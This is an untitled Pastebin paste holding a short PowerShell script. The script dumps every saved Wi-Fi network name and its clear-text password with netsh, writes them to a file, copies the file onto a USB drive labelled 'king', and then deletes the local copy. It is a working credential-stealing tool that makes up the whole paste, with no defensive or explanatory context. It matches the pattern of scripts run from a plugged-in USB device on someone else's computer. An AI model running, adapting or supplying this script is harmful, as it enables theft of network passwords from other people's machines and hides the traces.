Advertisement
Guest User

Untitled

a guest
Jan 18th, 2020
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.56 KB | None | 0 0
  1. cd..
  2. cd..
  3. cd users
  4. cd $env:USERNAME
  5. (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize >"wifi.txt"
  6. $usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq 'king' } | select name
  7. cd $usbPath.name
  8. Copy-Item "C:\Users\$env:USERNAME\wifi.txt" -Destination "\wifi.txt"
  9. C:
  10. del wifi.txt
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement